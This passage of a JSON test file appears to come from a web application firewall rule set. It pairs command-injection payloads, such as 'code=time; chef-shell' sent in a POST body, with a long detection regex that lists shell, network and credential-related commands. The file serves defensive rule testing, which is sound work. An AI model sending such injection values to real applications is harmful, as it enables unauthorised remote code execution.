"(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"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*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block decryption of secrets with chef-vault" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; chef-shell\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\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\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block execution of chef-shell command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; chef-run all recipie.rb\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\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t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|